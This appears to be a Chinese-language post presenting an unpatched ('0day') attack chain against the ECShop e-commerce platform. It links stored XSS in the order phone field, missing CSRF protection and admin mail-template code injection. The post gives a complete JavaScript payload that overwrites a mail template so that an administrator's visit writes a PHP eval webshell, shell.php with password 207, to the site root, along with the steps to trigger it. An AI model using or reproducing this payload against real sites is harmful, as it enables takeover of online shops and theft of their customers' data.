ecshop csrf getshell 0day

0x0 后台getshell

在提交订单的地方看到了代码调用了get_mail_template()获得remind_of_new_order模板的内容,然后放入到fetch中执行,如果可以控制remind_of_new_order模板的内容那就可以让ecshop执行我们的命令了。www.ashker.NEt

在后台可以在模板管理中找到邮件模板,更改remind_of_new_order的内容为{$phpinfo()'];phpinfo();/*}然后在调试中可以看到代码被替换成了"<?php echo $this->_var['phpinfo()'];phpinfo();/*']; ?>"代码成功执行。

0x1 前台xss

前台在有些地方过滤不够充分,导致用户可以构造恶意javascript完成对后台管理员的xss攻击。注册用户以后随便买个东西,收货人信息里电话一栏只有本地的客户端检查,而没有后端过滤,容易招到xss攻击。

0x2 xss+后台getshell

上面的两个相结合由于没有csrf的防护,因此可以前台xss到后台并让管理员帮我们getshell。以下是实现getshell的js:VarShelldata='subject=%C3%DC%C2%EB%D5%D2%BB%D8&mail_type=0&tpl=1&content=%7B%24user_name%27%5D%3Bfile_put_contents%28base64_decode%28%27c2hlbGwucGhw%27%29%2Cbase64_decode%28%27PD9waHAgQGV2YWwoJF9QT1NUWycyMDcnXSk7Pz4%3D%27%29%29%3Becho+%24var%5B%27%24user_name%7D%0D%0A%3C%2Fp%3E%0D%0A%3Cp%3E%7B%24user_name%7D%C4%FA%BA%C3%A3%A1%3Cbr+%2F%3E%0D%0A%3Cbr+%2F%3E%0D%0A%C4%FA%D2%D1%BE%AD%BD%F8%D0%D0%C1%CB%C3%DC%C2%EB%D6%D8%D6%C3%B5%C4%B2%D9%D7%F7%A3%AC%C7%EB%B5%E3%BB%F7%D2%D4%CF%C2%C1%B4%BD%D3%28%BB%F2%D5%DF%B8%B4%D6%C6%B5%BD%C4%FA%B5%C4%E4%AF%C0%C0%C6%F7%29%3A%3Cbr+%2F%3E%0D%0A%3Cbr+%2F%3E%0D%0A%3Ca+target%3D%22_blank%22+href%3D%22%7B%24reset_email%7D%22%3E%7B%24reset_email%7D%3C%2Fa%3E%3Cbr+%2F%3E%0D%0A%3Cbr+%2F%3E%0D%0A%D2%D4%C8%B7%C8%CF%C4%FA%B5%C4%D0%C2%C3%DC%C2%EB%D6%D8%D6%C3%B2%D9%D7%F7%A3%A1%3Cbr+%2F%3E%0D%0A%3Cbr+%2F%3E%0D%0A%7B%24shop_name%7D%3Cbr+%2F%3E%0D%0A%7B%24send_date%7D%3C%2Fp%3E';try{varxml=window.XMLHttpRequest?(newXMLHttpRequest()):(newActiveXObject('Microsoft.XMLHTTP'));xml.open("POST",'/ecshop/upload/admin/mail_template.php?act=save_template',false);xml.setRequestHeader('Content-Type','application/x-www-form-urlencoded');xml.onreadystatechange=function(){if(xml.readyState==4){}};xml.send(Shelldata);}catch(e){}

上传这个js的图片并引用或者直接从外部网站引用都可以。为了测试方便,从本地引用

最后提交订单,管理员访问该订单然后用户前台找回密码,根目录下生成一句话shell.php,密码207.

拥有一颗比九万五千公里还辽阔的心,

ecshop csrf getshell 0day

相关文章:

你感兴趣的文章:

标签云: